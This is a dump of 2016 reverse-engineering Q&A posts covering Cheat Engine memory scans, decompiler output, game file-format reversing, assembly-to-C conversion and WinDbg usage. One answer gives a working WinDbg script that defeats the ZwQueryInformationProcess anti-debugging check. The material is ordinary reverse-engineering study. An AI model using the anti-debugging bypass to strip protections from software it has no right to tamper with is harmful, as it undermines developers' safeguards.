    I'd really appreciate some help with learning how to find a color's memory address, so I can then change the color and stuff.

    \n", "Title": "How would I find a color's memory address? (Beginner)", "Tags": "|windows|debugging|x86-64|", "Answer": "

    Alright, so you're trying to find the Red, Green, and Blue values of the currently selected color. I'll show you how to do this using Cheat Engine, but you can also translate this to x64dbg.

    \n\n

    Fire up Paint and select mspaint.exe in CE(Cheat Engine) to debug it.

    \n\n

    Set the color to black or any other color you'd like, I will use black as my initial starting color. See what RGB values the color black has in Paint, in our case it's 0 0 0.

    \n\n
    \n

    1\"enter

    \n
    \n\n

    Here I will make a few assumptions. I will assume that the Red, Green and Blue values are each 1 byte in size because they can only go up to 255 which is the limit that a 1 byte value can hold. I also assume that these values are at the same address, one after the other. Equivalent to

    \n\n
    struct color {\n    char r, g, b;\n}\n
    \n\n

    To sum it up, we want to find 3 contiguous byte values somewhere in memory. We know their values from Paint, so we can search for them.

    \n\n

    So, now we can switch over to CE and select Grouped scan so we can search for grouped values. In our case we have a group of 3 values, each being 1 byte. So, this is how CE should now look like.

    \n\n
    \n

    1\"enter

    \n
    \n\n

    Then I simply press on First Scan and CE will find any memory in the paint.exe address space where there are 3 bytes with 0 in them, equivalent to

    \n\n
    someAddress   0x00\nsomeAddress+1 0x00\nsomeAddress+2 0x00\n
    \n\n

    CE will find a lot of addresses where this byte pattern occurs because three zero bytes isn't very unique.

    \n\n

    What I will do now is select another color in Paint and follow the same process, except at the end I'll press Next Scan instead of First Scan. What this will do is CE will look at all of the addresses it found with three zeroes, and it will look if any of them changed to your new grouped values. One of those addresses will now hold the three new grouped values, and CE will find it for you and you'll only be left with hopefully one address left. If you're left more than a few, you can repeat the process with a new color.

    \n\n

    If the address is color in Green, it means that it is static and will not change when you restart paint. Once you have the address of where the RGB is stored, and you can change it or read it or do whatever you want with it.

    \n" }, { "Id": "13312", "CreationDate": "2016-08-18T23:59:38.833", "Body": "

    Hex-Rays generated C code is adding a lot of redundancy code, and I cannot figure out why and it really frustrates me to remove them manually on my reverse engineering process.

    \n\n
    if ( v1 )\n{\n    v15.ObjectID = *(_DWORD *)Obj.ObjectID;\n    v6 = AccessObject((Object)&v15);\n    ObjectType::setTypeID(&v16, v6->Type.TypeID);\n    v7 = ObjectType::getFlag(&v16, BANK);\n    v4 = 0;\n    if ( !v7 )\n    {\n      v16.TypeID = *(_DWORD *)Obj.ObjectID;\n      v8 = AccessObject((Object)&v16);\n      ObjectType::setTypeID((ObjectType *const )&v15, v8->Type.TypeID);\n      v9 = ObjectType::getFlag((ObjectType *const )&v15, CLIP);\n      v4 = 1;\n      if ( !v9 )\n      {\n        v16.TypeID = *(_DWORD *)Obj.ObjectID;\n        v10 = AccessObject((Object)&v16);\n        ObjectType::setTypeID((ObjectType *const )&v15, v10->Type.TypeID);\n        v11 = ObjectType::getFlag((ObjectType *const )&v15, BOTTOM);\n        v4 = 2;\n        if ( !v11 )\n        {\n          v16.TypeID = *(_DWORD *)Obj.ObjectID;\n          v12 = AccessObject((Object)&v16);\n          ObjectType::setTypeID((ObjectType *const )&v15, v12->Type.TypeID);\n          v13 = ObjectType::getFlag((ObjectType *const )&v15, TOP);\n          v4 = 3;\n          if ( !v13 )\n          {\n            v16.TypeID = *(_DWORD *)Obj.ObjectID;\n            v14 = AccessObject((Object)&v16);\n            ObjectType::setTypeID((ObjectType *const )&v15, v14->Type.TypeID);\n            v4 = (v15.ObjectID != 99) + 4;\n          }\n        }\n      }\n    }\n  }\n  else\n  {\n    error(\"GetObjectPriority: _bergebenes Objekt existiert nicht.\\n\");\n    v4 = 0x7FFFFFFF;\n  }\n
    \n\n

    There's continous assigns to the v15 stack variable, which are making absolutely non-sense, I doubt the actual programmers of this binary had this intent.

    \n\n

    I could have easily done it this way:

    \n\n
    int32_t Priority = 0;\nif (Object)\n{\n    if (!Object->getFlag(BANK))\n    {\n        Priority = 1;\n        if (!Object->getFlag(CLIP))\n        {\n            Priority = 2;\n            if (!Object->getFlag(BOTTOM))\n            {\n                Priority = 3;\n                if (!Object->getFlag(TOP))\n                {\n                    Priority = (Object->TypeID != 99) + 4;\n                }\n            }\n        }\n    }\n}\nelse\n{\n    std::cout << \"GetObjectPriority: Object is NULL.\" << std::endl;\n    Priority = -1;\n}\n\nreturn Priority;\n
    \n\n

    How can I mess with IDA to stop this madness?

    \n", "Title": "IDA Hex-Rays Generating Redundant Code", "Tags": "|ida|decompilation|static-analysis|decompiler|", "Answer": "

    Writing a good decompiler is hard. There are multiple challenges in the process.\nWriting a decompiler that has no redundant code in its output is even harder.\nMost decompilers still ouput high level code that resembles the assembly code it originated from, and that's what you see as redudant assignments.

    \n\n

    There isn't really something you can do about it easily. You could try contacting IDA's support to get them to improve the decompiler. You could write an IDAPython script the implements the extra code simplifications. Or you could continue doing that manually.

    \n" }, { "Id": "13314", "CreationDate": "2016-08-19T04:16:59.980", "Body": "

    How do I defeat the ZwQueryInformationProcess() anti-debugging protection for the ProcessDebugPort class? \nUnlike isDebuggerPresent() I found this really hard to bypass in my skill...

    \n\n

    Does anyone know how to bypass this api function?

    \n", "Title": "how do I bypass ZwQueryInformationProcess as anti-debugging protection", "Tags": "|windows|ollydbg|anti-debugging|", "Answer": "
    #include \"zwopenproc.h\"\nint main (void) \n{\n    hNtdll=GetModuleHandle(\"ntdll.dll\");\n    if(hNtdll) \n    {\n        *(FARPROC *)&ZwQIP  = GetProcAddress(hNtdll,\"ZwQueryInformationProcess\");\n        hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId());\n        ZwQIP(hProc,ProcessImageFileName,OutBuff,sizeof(OutBuff),&Rlen);\n        printf(\"ImageName=%wZ\\n\",OutBuff);\n        ZwQIP(hProc,ProcessDebugPort,&DbgPort,4, &Rlen);\n        switch( DbgPort )\n        {\n        case 0xffffffff:\n            printf(\"some bugs are debugging us\\n\");\n            break;\n        case 0x0:\n            printf(\"no bugs are debugging us\\n\");\n            break;\n        default:\n            printf (\"who knows if bugs are debugging us\\n\");\n            break;\n        }       \n    }\n    return 0;    \n}\n
    \n\n

    executing this code without debugger

    \n\n
    zwopenproc.exe\nImageName=\\Device\\HarddiskVolume4\\test\\zwqiproc\\zwopenproc.exe\nno bugs are debugging us\n
    \n\n

    executing inside debugger results in detection

    \n\n
    cdb -g -G zwopenproc.exe | tail -2\nImageName=\\Device\\HarddiskVolume4\\test\\zwqiproc\\zwopenproc.exe\nsome bugs are debugging us +++++++++++++++++++++++++++++++++++++++++++++++\n
    \n\n

    executing inside debugger and overwriting the return buffer using a script results in no detection

    \n\n
    cdb -G -c \"$$>a< zwqip.txt\" zwopenproc.exe  | tail -6\n\n\n    Process Id  2064\n    Parent Process  3716\n    Base Priority 8\n.  0    id: 810 create  name: zwopenproc.exe\nImageName=\\Device\\HarddiskVolume4\\test\\zwqiproc\\zwopenproc.exe\nno bugs are debugging us  <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\n\nprintf \"%x\\n\" , 2064\n810\n
    \n\n

    contents of script file

    \n\n
    cat zwqip.txt\nbp ntdll!ZwQueryInformationProcess \".if( poi(@esp+8) != 7 ){gc} .else { !handle poi(@esp+4\n) f ; | ; gu ; ed dbgport 0; gc } \"\ng\n
    \n" }, { "Id": "13331", "CreationDate": "2016-08-21T14:31:07.430", "Body": "

    This is a korean MMORPG released back in 2001. The game and the company no longer exists. I've been analyzing the file formats as a personal project for awhile now.

    \n\n

    I have already decoded the textures and script files. I only have 2 more files left to decode: .ani and .obj. With the extensions, I would guess that the .ani contains the animation and .obj contains the 3d models. As the title of my question would suggest. I'm currently working on the .obj file.

    \n\n

    What I Know

    \n\n

    .obj files are actually archives that contains one or more models. But exclusively 3D models (biped) because the textures are found on another archive with the extension .t16 or .tex.

    \n\n

    I'll take the 22nd model inside the file def.obj as an example. I have also taken it out of the archive and saved it as a file called `def_022.obj.

    \n\n

    From here on, I'll call the 22nd model Armor of Eagle. The next image is the texture for the Armor of Eagle found on def.t16:

    \n\n

    \"enter

    \n\n

    The Armor of Eagle in-game:

    \n\n

    \"enter

    \n\n

    A def_inf.txt file has this related line:

    \n\n
    filename    LODstep polycnt\narmor_eagle 0       313     // eagle = index 22\n
    \n\n

    In general, the structure of .obj is:

    \n\n
    06 00 00 00 03 00     // don't know what\n3C 00                 // total number of models in this list\n01 00 9E 00 00 00 9E 00 00 00 78 00 00 00 78 00 00 00 // the first model on the list with 0x9E polygons and 0x78 verticies\n01 00 64 00 00 00 64 00 00 00 61 00 00 00 61 00 00 00 // the 2nd model\n....... // continues until you reach the end of the headers\n....... // then the bodies start, actual 3d data\n
    \n\n

    This is how the headers looks:

    \n\n

    \"enter

    \n\n\n\n

    About def_022.obj

    \n\n

    The face indices start at 0x4C [00 00 01 00...]
    \nand by the looks of it ends at 0x7A2 [...A2 00 A3 00]

    \n\n

    I was using the tool called hex2obj 0.24c but didn't have any luck in guessing the starting points of the vertices and uv list.

    \n\n

    \"enter

    \n\n\n\n

    The Question

    \n\n\n\n

    This is all considering that I just analyze the binary and not debug the client itself to see how the client is taking the data.

    \n\n

    UPDATE

    \n\n

    I noticed a few new things on the file I'm analyzing def_022.obj. A bytearray gets repeated a lot of times. Although, I'm still not sure of the significance YET. 00 00 80 3F is also the bytes that each model start with, which I thought was the chunk marker:

    \n\n

    \"enter

    \n\n\n\n

    Based on the notes Mr @RadLexus has kindly provided. I was also able to plot the vertices and imported into blender:

    \n\n

    \"enter

    \n\n

    Added the normals and UV:

    \n\n
    v -13.531700 37.445000 2.338600\nvn -0.687800 0.725000 -0.036200\nvt 0.583800 0.086300\n
    \n\n

    Then I tried adding the faces:

    \n\n
    f 1 2 3\nf 1 3 4\nf 5 6 7\nf 5 7 8\nf 9 10 11\n...\n
    \n\n

    \"enter

    \n\n

    But still can't figure out how to apply the textures.

    \n\n

    UPDATE

    \n\n

    So I tried changing my .obj file to include a few more info about the face values like (just duplicated the value as x/x/x):

    \n\n
    f 1/1/1 2/2/2 3/3/3\nf 1/1/1 3/3/3 4/4/4\nf 5/5/5 6/6/6 7/7/7\n
    \n\n

    I finally got this:

    \n\n

    \"enter

    \n\n

    Although it's still wrong, I guess I'm a bit closer.

    \n\n

    FINAL UPDATE

    \n\n

    Have figured it out. Although, I still don't know what the unknown1 and unknown2 are but it looks good enough:

    \n\n

    \"enter

    \n\n
    \n\n
    \n

    Note: I know almost nothing about 3D file formats. Other than the basic components of a 3D object.

    \n
    \n\n

    Download Related Files Here

    \n", "Title": "Reversing a 3D file format from 2001", "Tags": "|binary-analysis|file-format|hex|", "Answer": "

    Some preliminary notes only \u2013 may evolve into a complete answer.

    \n\n
    \n\n

    My approach was the following. Clearly, the numbers at the end are floating point numbers. Also, they are not all floating point; the sequence 0C 00 00 00 a few bytes in is not a reasonable floating point number. Counting off to the next \"unreasonable\" value (which happened to be 0C 00 00 00 again, but there are other values as well) told me the stride of this data was 28 bytes. (Which is 40 in decimal, but for documentation I strongly prefer hex.) If you have a capable hex viewer of which you can adjust the view width, you can see that this is correct if you set its view width to 40 characters.

    \n\n

    Counting back from the end in 40-byte steps gave me the most likely starting point of this sequence.

    \n\n

    The digits right before it are clearly at least 2-byte (unsigned short), and sort of increase from the start to the end. As this is a 3D model, I had a strong hunch they form triangle data, so at least they should contain a, b, and c vertex indices, and possibly additional triangle attributes. This turned out, by trial and error, to be not the case. (The \"trial and error\" consisted of dumping them into a display program. As that worked straight away, further numerical investigations were unnecessary.)

    \n\n

    Since this information is (1) enough to display an object, and (2) covers all of the data in the file apart from the few bytes at the start \u2013 which can be anything \u2013 I went on writing a full display program.

    \n\n
    \n\n

    The first 004A bytes are unknown. They contain some floating point numbers (00 00 80 3F is 1.0, as a little endian 4 byte floating point number), and they could be anything. (A scale is likely.)

    \n\n

    The next 2 bytes form the number 0016, which is in decimals 22. This could be the internal 'object number'.

    \n\n

    Then, starting at 004C, 113h (313, in decimal) triangle definitions follow. A single triangle definition consists of 3 unsigned short indices a,b,c, which point to 3 coordinates. The largest index in this list is 0117, a significant number!

    \n\n

    Right after this, 0118 3D points follow. Each 3D point has the following structure:

    \n\n
    float x\nfloat y\nfloat z\nfloat unknown (usually 1.0?)\nunsigned int unknown\nfloat normal_x\nfloat normal_y\nfloat normal_z\nfloat u   \\\nfloat v   / correct; see bottom update\n
    \n\n

    Affirming that the 3 normal_* variables indeed form a normal can be done by adding their squares together; they should hover around a value of 1.0. That is correct for the first hundred or so of these coordinates, up to 3 decimals of accuracy:

    \n\n
    1.000004\n1.000080\n0.999935\n1.000076\n0.999936\n(and so on)\n
    \n\n

    Adding up the sizes of all coordinate elements leads to a total size of 28 bytes (40, in decimal), and:

    \n\n
      \n
    1. the remaining part of the file is a multiple of this;
      2. \n
    2. dividing the size of the remaining part by 28 results in 118 (280, in decimal).
      3. \n
    \n\n

    The significance of the 'highest index' in the triangle list is therefore proven :) They are indeed coordinate indices.

    \n\n

    Where do these numbers 139h and 118h come from? They appear in the header part of the entire file!

    \n\n

    Here is the proof that the first 3 elements are indeed x, y, and z. I plotted x and y only, with y inverted (negative towards the bottom of the screen). You can clearly recognize the 'body' part of your in-game image.

    \n\n

    \"a

    \n\n
    \n\n

    Not all coordinates are quite the same. The unknown_1 float value is 1.000 for the first 173 coordinates, then jumps to other values for the remainders. Similarly, the integer unknown_2 hovers between values from 4 to 43 for these, and then jumps to a much higher value. This needs some further investigation.

    \n\n
    \n\n

    The u,v values can be mapped onto the source image directly. They are expressed in a floating point range from 0..1 so you need to multiply them by the source image's width and height. Here is an image of that:

    \n\n

    \"texture

    \n\n

    The unused parts of the image are presumably used by other 3D models.

    \n" }, { "Id": "13333", "CreationDate": "2016-08-21T15:49:35.903", "Body": "

    I have the following function in assembly, and i'm trying to convert it to c.

    \n\n

    the function accept 2 parameters, the first one is char* and the second is the int

    \n\n

    this is the assembly code:

    \n\n
    71D3C400     PUSH EBP\n71D3C401     MOV EBP,ESP\n71D3C403     SUB ESP,8\n71D3C406     MOV DWORD PTR SS:[EBP-8],0\n71D3C40D     MOV DWORD PTR SS:[EBP-4],0\n71D3C414     JMP SHORT 71D3C41F                       ; 71D3C41F\n71D3C416     MOV EAX,DWORD PTR SS:[EBP-4]\n71D3C419     ADD EAX,1\n71D3C41C     MOV DWORD PTR SS:[EBP-4],EAX\n71D3C41F     MOV ECX,DWORD PTR SS:[EBP-4]\n71D3C422     CMP ECX,DWORD PTR SS:[EBP+C]\n71D3C425     JNB SHORT 71D3C46B                       ; 71D3C46B\n71D3C427     MOV EDX,DWORD PTR SS:[EBP+8]\n71D3C42A     ADD EDX,DWORD PTR SS:[EBP-4]\n71D3C42D     MOVZX EAX,BYTE PTR DS:[EDX]\n71D3C430     CMP EAX,0D\n71D3C433     JE SHORT 71D3C443                        ; 71D3C443\n71D3C435     MOV ECX,DWORD PTR SS:[EBP+8]\n71D3C438     ADD ECX,DWORD PTR SS:[EBP-4]\n71D3C43B     MOVZX EDX,BYTE PTR DS:[ECX]\n71D3C43E     CMP EDX,0A\n71D3C441     JNZ SHORT 71D3C445                       ; 71D3C445\n71D3C443     JMP SHORT 71D3C416                       ; 71D3C416\n71D3C445     MOV EAX,DWORD PTR SS:[EBP+8]\n71D3C448     ADD EAX,DWORD PTR SS:[EBP-4]\n71D3C44B     MOVZX ECX,BYTE PTR DS:[EAX]\n71D3C44E     ADD ECX,DWORD PTR SS:[EBP-8]\n71D3C451     MOV DWORD PTR SS:[EBP-8],ECX\n71D3C454     MOV EDX,DWORD PTR SS:[EBP-8]\n71D3C457     SHL EDX,1\n71D3C459     MOV EAX,DWORD PTR SS:[EBP-8]\n71D3C45C     AND EAX,80000000\n71D3C461     SHR EAX,1F\n71D3C464     OR EDX,EAX\n71D3C466     MOV DWORD PTR SS:[EBP-8],EDX\n71D3C469     JMP SHORT 71D3C416                       ; 71D3C416\n71D3C46B     MOV EAX,DWORD PTR SS:[EBP-8]\n71D3C46E     MOV ESP,EBP\n71D3C470     POP EBP\n71D3C471     RETN\n
    \n\n

    and this is my c code until now:

    \n\n
    _71D3C400 (char*str, int len) {\n    int var1 = 0; // [EBP-8]\n    int var2 = 0; // [EBP-4]\n\n    goto _71D3C41F;\n\n_71D3C416:\n    var2++;\n\n_71D3C41F:\n    ECX = [EBP-4];\n\n71D3C422     CMP ECX,DWORD PTR SS:[EBP+C]\n71D3C425     JNB SHORT 71D3C46B                       ; 71D3C46B\n    if (str[var2] == 0x0D) {\n        goto _71D3C443;\n    }\n\n    if (str[var2] != 0x0A) {\n        goto _71D3C445;\n    }\n\n_71D3C443:\n    goto _71D3C416;\n\n_71D3C445:\n    var1 = str[var2] + var1;\n    var1 = (var1 << 1) | ((var1 & 0x80000000) >> 0x1F);\n    goto _71D3C416;\n\n_71D3C46B:\n    return var1;\n}\n
    \n", "Title": "Converting assembly function to c", "Tags": "|assembly|decompilation|", "Answer": "

    This code may look like this:

    \n\n
    int someFunction (char*str, int len) {\n    int var1 = 0, var2 = 0;\n\n    while (var2 <= len) {\n        if (str[var2] != '\\r' && str[var2] != '\\n') {\n            var1 = str[var2] + var1;\n            var1 = (var1 << 1) | ((var1 & 0x80000000) >> 0x1F);\n        }\n\n        var2++;\n    }\n\n    return var1;\n}\n
    \n\n

    You could also rewrite it using for loop for(var2=0;var2<len;var2++)

    \n" }, { "Id": "13338", "CreationDate": "2016-08-22T02:04:58.477", "Body": "

    I'm trying to reverse engineer an application made in vb6. At a certain point it compares an input number to a constant number, my goal here is to extract that number, now i found where the comparison is taken place:

    \n
    FCOMP QWORD PTR DS:[402CB0]\n
    \n

    Now I understand that FCOMP Compares the contents of register ST(0) and source value. I don't know if I got this right, but from what I've read DS:[402CB0] is pointer to an address that's holding the source value, but using OllyDbg, and while navigating to that address (Ctrl + g), i found out that the value is DB 00 which is not correct\n\"enter

    \n

    so my question here is how can I find the real value that is being compared?\nand is it possible to make the FCOMP compare a constant to a pointer of an integer?

    \n", "Title": "Understanding FCOMP instruction and extracted value from address operand", "Tags": "|disassembly|assembly|ollydbg|float|", "Answer": "

    FCOMP Compares the fpu register ST0 with a constant
    \nthe constant is a QWORD (Meaning DOUBLE , FLOAT , Etc 8+ bytes wide )

    \n\n

    ollydbg can show both the ST0 register and decipher the contents of the CONSTANT .

    \n\n

    in your case if shows DB 00 because the constant is probably 0.0 .

    \n\n

    and you have not set the dump view mode to appropriate format

    \n\n

    the view mode you are looking at is Disassembly (DB is Define Byte 00 is well 0x00 ) .

    \n\n

    you may need to change the view mode

    \n\n

    first select the dump window then use ctrl+g and then right click select FLOAT .

    \n\n

    ollydbg also has a small window between disassembly pane and dump pane \nwhich can show both the source and destination contents

    \n\n

    in the screen shot below \nyou can observe how 783ef8 is DB 00 in Disassembly window and FLOAT 0.0 in Dump Pane . \nyou can observe how the contents of register pane shows both the src and dest contents\nyou can observe how fpu register window shows the ST0 contents\"enter

    \n" }, { "Id": "13351", "CreationDate": "2016-08-24T14:48:43.167", "Body": "

    Seems to be a question of no importance, but I'm just curious: Is there a deeper meaning of the preceeding (single/double) ?-marks, @-signs or __ underscores in these different call instructions?

    \n\n
    call ??2@YAPAXI@Z\ncall ??0CAdviseObject@CBLObject@@QAE@PAUIDispatch@@PAVCBLInstance@@@Z\ncall ?StartAutoReconnect@CBLObject@@IAEXIH@Z\ncall @__security_check_cookie@4\ncall __SEH_epilog\n
    \n", "Title": "Call instruction - preceding ?@_ in references?", "Tags": "|ida|disassembly|assembly|call|", "Answer": "

    The leading ? identifies a C++ name mangled symbol. Two ?? signify operators, constructors, destructors, constant strings, and various compiler generator functions. For example ??0 is a constructor. This site has a good breakdown of the mangling pieces used by MSVC.

    \n\n

    A leading underscore _ can either be due to the calling convention or due to the CRT/compiler identification standard. They will prefix all of their symbols with two leading underscores __ as a way to help prevent name collisions:

    \n\n
    \n

    In Microsoft C++, identifiers with two leading underscores are\n reserved for compiler implementations.

    \n
    \n" }, { "Id": "13357", "CreationDate": "2016-08-25T07:10:55.517", "Body": "

    How to set breakpoint on this C++ symbol?

    \n\n
    \n

    bp qmgr!TokenHandle::operator-: \n Could not resolve error at 'qmgr!TokenHandle::operator-:'

    \n
    \n\n

    in windbg?

    \n", "Title": "How to set breakpoint on C++ symbols?", "Tags": "|debugging|c++|windbg|", "Answer": "

    It looks like you have an extra colon at the end of your string (operator-:) and you may need to use bm instead of bp.

    \n\n
    class TokenHandle\n{\npublic:\n    int data;\n    TokenHandle(int i) \n    {\n        data = i;\n    }\n    TokenHandle operator-(TokenHandle& in)\n    {\n        return TokenHandle(data - in.data);\n    }\n};\n
    \n\n

    WinDbg:

    \n\n
    0:000> bm test!TokenHandle::operator-\n  1: 00000001`3fd62da0 @!\"test!TokenHandle::operator-\"\n
    \n\n

    Alternately verify that the debugger is able to find the right symbols (and you can always set a breakpoint on the address found):

    \n\n
    0:000> x test!TokenHandle*\n00000001`3fd62da0 test!TokenHandle::operator- (class TokenHandle *)\n00000001`3fd626c0 test!TokenHandle::TokenHandle (int)\n0:000> bp 00000001`3fd62da0 \n
    \n" }, { "Id": "13369", "CreationDate": "2016-08-26T11:25:24.213", "Body": "

    I'm currently parsing a lot of assembly files and don't understand a specific jmp or call with $+5 as operand:

    \n\n
    call $+5\n jmp $+5\n
    \n\n

    To provide more context I grepped some of the occurrences:

    \n\n
    mov esp, [ebp+ms_exc.old_esp]\nand [ebp+ms_exc.registration.TryLevel], 0\nor [ebp+ms_exc.registration.TryLevel], 0FFFFFFFFh\ncall $+5\njmp sub_4493CA\n===== S U B R O U T I N E =======================================\npush esi\n\n[...]\n\nmov esp, [ebp+ms_exc.old_esp]\nand [ebp+ms_exc.registration.TryLevel], 0\nor [ebp+ms_exc.registration.TryLevel], 0FFFFFFFFh\ncall $+5\njmp sub_45746A\n===== S U B R O U T I N E =======================================\nmov eax, dword_4778F8\n\n[...]\n\nmov eax, ebx\ntest al, 2\njnz loc_100994B8\njmp $+5\n-----------------------------------------------------------------\nmov eax, [ebp+var_34]\nmov [ebp+var_40], eax\n
    \n\n

    What is the meaning of the $+5 operand?

    \n", "Title": "Intel syntax - Meaning of jmp/call instruction with $+5 operand", "Tags": "|disassembly|x86|call|intel|", "Answer": "

    opcode for call $+5 is e8 00000000 so it calls the next instruction
    \nopcode for jmp $+5 is e9 00000000 so it jumps to the next insturction

    \n\n
    76E95FE0                        E8 00000000 CALL    76E95FE5         ;  <ntdll.call here>\n76E95FE5 <ntdll.call here>      00          DB      00\n76E95FE6                        E9 00000000 JMP     76E95FEB         ;  <ntdll.jmp_here>\n76E95FEB <ntdll.jmp_here>       00          DB      00\n76E95FEC                        EB 02       JMP     SHORT 76E95FF0   ;  <ntdll.jmp+4>\n76E95FEE                        00          DB      00\n76E95FEF                        00          DB      00\n76E95FF0 <ntdll.jmp+4>          00          DB      00\n
    \n" }, { "Id": "13378", "CreationDate": "2016-08-27T10:02:20.683", "Body": "

    I'm trying to reverse engineer an library function back to C/C++ code. \nBut the function that I reverse is almust done, i just need a little bit help for making it compleet.

    \n\n

    Here is the assembly code:

    \n\n
            0002BB46 | 8B 45 F4                 | mov eax,dword ptr ss:[ebp-C]                                            |\n    0002BB49 | 8B 88 EC 00 00 00        | mov ecx,dword ptr ds:[eax+EC]                                           |\n    0002BB4F | 89 4D EC                 | mov dword ptr ss:[ebp-14],ecx                                           |\n    0002BB52 | 8B 55 F4                 | mov edx,dword ptr ss:[ebp-C]                                            |\n    0002BB55 | 8B 82 F0 00 00 00        | mov eax,dword ptr ds:[edx+F0]                                           |\n    0002BB5B | 89 45 F0                 | mov dword ptr ss:[ebp-10],eax                                           |\n    0002BB5E | 83 7D EC 00              | cmp dword ptr ss:[ebp-14],0                                             |\n    0002BB62 | 0F 8E BA 00 00 00        | jle TestDLL.2BC22                                                   |\n    0002BB68 | C7 45 E8 00 00 00 00     | mov dword ptr ss:[ebp-18],0                                             |\n    0002BB6F | EB 09                    | jmp TestDLL.2BB7A                                                   |\n    0002BB71 | 8B 4D E8                 | mov ecx,dword ptr ss:[ebp-18]                                           |\n    0002BB74 | 83 C1 01                 | add ecx,1                                                               |\n    0002BB77 | 89 4D E8                 | mov dword ptr ss:[ebp-18],ecx                                           |\n    0002BB7A | 8B 55 E8                 | mov edx,dword ptr ss:[ebp-18]                                           |\n    0002BB7D | 3B 55 EC                 | cmp edx,dword ptr ss:[ebp-14]                                           |\n    0002BB80 | 0F 8D 9C 00 00 00        | jge TestDLL.2BC22                                                   |\n    0002BB86 | 8B 45 FC                 | mov eax,dword ptr ss:[ebp-4]                                            |\n    0002BB89 | 50                       | push eax                                                                |\n    0002BB8A | 6A 01                    | push 1                                                                  |\n    0002BB8C | 6A 04                    | push 4                                                                  |\n    0002BB8E | 8B 4D E8                 | mov ecx,dword ptr ss:[ebp-18]                                           |\n    0002BB91 | 6B C9 14                 | imul ecx,ecx,14                                                         |\n    0002BB94 | 03 4D F0                 | add ecx,dword ptr ss:[ebp-10]                                           |\n    0002BB97 | 51                       | push ecx                                                                |\n    0002BB98 | FF 15 38 E1 02 00        | call dword ptr ds:[<&fwrite>]                                           |\n0002BB9E | 83 C4 10                 | add esp,10                                                              |\n0002BBA1 | 8B 55 FC                 | mov edx,dword ptr ss:[ebp-4]                                            |\n0002BBA4 | 52                       | push edx                                                                |\n0002BBA5 | 6A 01                    | push 1                                                                  |\n0002BBA7 | 6A 04                    | push 4                                                                  |\n0002BBA9 | 8B 45 E8                 | mov eax,dword ptr ss:[ebp-18]                                           |\n0002BBAC | 6B C0 14                 | imul eax,eax,14                                                         |\n0002BBAF | 8B 4D F0                 | mov ecx,dword ptr ss:[ebp-10]                                           |\n0002BBB2 | 8D 54 01 04              | lea edx,dword ptr ds:[ecx+eax+4]                                        |\n0002BBB6 | 52                       | push edx                                                                |\n0002BBB7 | FF 15 38 E1 02 00        | call dword ptr ds:[<&fwrite>]                                           |\n
    \n\n

    an little explination: \n- You see on line 0002BB46 the assembly code: mov eax,dword ptr ss:[ebp-C]
    \nThe [ebp - C] means that this is an structure.

    \n\n

    and the part of 0002BB86, you see: mov eax,dword ptr ss:[ebp-4] \nThe [ebp - 4] means that this is an FILE*

    \n\n

    But this is all that i know, I just need a little example for what this part do.\nASM 1:

    \n\n
     0002BB46 | 8B 45 F4                 | mov eax,dword ptr ss:[ebp-C]                                            |\n0002BB49 | 8B 88 EC 00 00 00        | mov ecx,dword ptr ds:[eax+EC]                                           |\n0002BB4F | 89 4D EC                 | mov dword ptr ss:[ebp-14],ecx                                           |\n0002BB52 | 8B 55 F4                 | mov edx,dword ptr ss:[ebp-C]                                            |\n0002BB55 | 8B 82 F0 00 00 00        | mov eax,dword ptr ds:[edx+F0]                                           |\n0002BB5B | 89 45 F0                 | mov dword ptr ss:[ebp-10],eax \n
    \n\n

    And the second one:

    \n\n
    0002BB8E | 8B 4D E8                 | mov ecx,dword ptr ss:[ebp-18]                                           |\n0002BB91 | 6B C9 14                 | imul ecx,ecx,14                                                         |\n0002BB94 | 03 4D F0                 | add ecx,dword ptr ss:[ebp-10]                                           |\n0002BB97 | 51                       | push ecx           \n
    \n\n

    i know it takes the variabele ebp18 and multiply it with 0x14. \nAnd add it to ebp10. But i dont know what ebp10 is. i whas thinking it is an struct or something.

    \n\n

    I hope someone can help me, for explaining to me.

    \n\n

    Manny thanks.

    \n\n

    Here is the source code that I've from the assembly.

    \n\n
    typedef struct _EDX  \n{\n\n    DWORD offset0;         // edx 0x0 -> needs tp be checked          \n    DWORD offset4;        // edx 0x4                                  \n    char offset64[0x64];  // edx 0x64                                 \n    char offsetC8[0x20];  // -> new added                             \n    DWORD offsetE8;       //                                          \n    DWORD offsetEC;       // edx 0xEC                                 \n    char* offsetF0;       // edx 0xF0                                \n\n    char first[0x64];\n} EDX, *PEDX;\n\nbool _cdecl WriteAdptInfo(char* filName, PEDX ebpc) \n{\n    if(ebpc != NULL)\n    {\n        FILE* file = fopen(filName, \"wb\");\n        if(file != NULL)\n        {\n            size_t size1 = fwrite(&ebpc->offset4 , sizeof(DWORD), 0x01 ,file); \n            DWORD var8 = 0; \n            for(var8; var8 <= ebpc->offset4; var8++) \n            {\n                DWORD a = var8 * 0xF4;\n                PEDX ebpC = ebpc;\n                ebpC->offset0 += a;\n                size_t size2 = fwrite(ebpC->first, sizeof(char), sizeof(ebpC->first), file);\n                size_t size3 = fwrite(ebpC->offset64, sizeof(char), sizeof(ebpC->offset64), file);\n                size_t size4 = fwrite(ebpC->offsetC8, sizeof(char), sizeof(ebpC->offsetC8), file);\n                size_t size5 = fwrite(&ebpC->offsetE8, sizeof(DWORD), 0x1, file);\n                size_t size6 = fwrite(&ebpC->offsetEC, sizeof(DWORD), 0x1, file);\n\n                DWORD var14 = ebpC->offsetEC;\n                char* var10 = ebpC->offsetF0;\n\n                if(var14 >= 0)\n                {\n                    DWORD var18 = 0;\n                    for(var18; var18 <= var14; var18++)\n                    {\n                        DWORD counter = (var18 * 0x14);\n                        //     ptr , size, count, file\n                        size_t size7 = fwrite((counter + var10), sizeof(char*), 0x1, file);\n                        size_t size8 = fwrite(var10 +counter + 0x4, sizeof(char*), 0x1, file);\n                        size_t size9 = fwrite(var10 + counter + 0x8, sizeof(char*), 0x1, file);\n                        size_t sizeA = fwrite(var10 + counter + 0xC, sizeof(char*), 0x1, file);\n                        size_t sizeB = fwrite(var10 + counter + 0x10, sizeof(char*), 0x1, file);\n                    }\n                }\n            } \n        }\n        fclose(file);\n        return true;\n    }\n    return false;\n}\n
    \n", "Title": "OllyDBG translate ASM to C", "Tags": "|disassembly|ollydbg|", "Answer": "

    the assembly in question has some structure defined and manipulates some members of the structure

    \n\n

    the code in c/c++ could look something similar to whats shown in source window and the disassembly that you are working with is highlighted in blue \nin the screen shot below

    \n\n

    \"enter

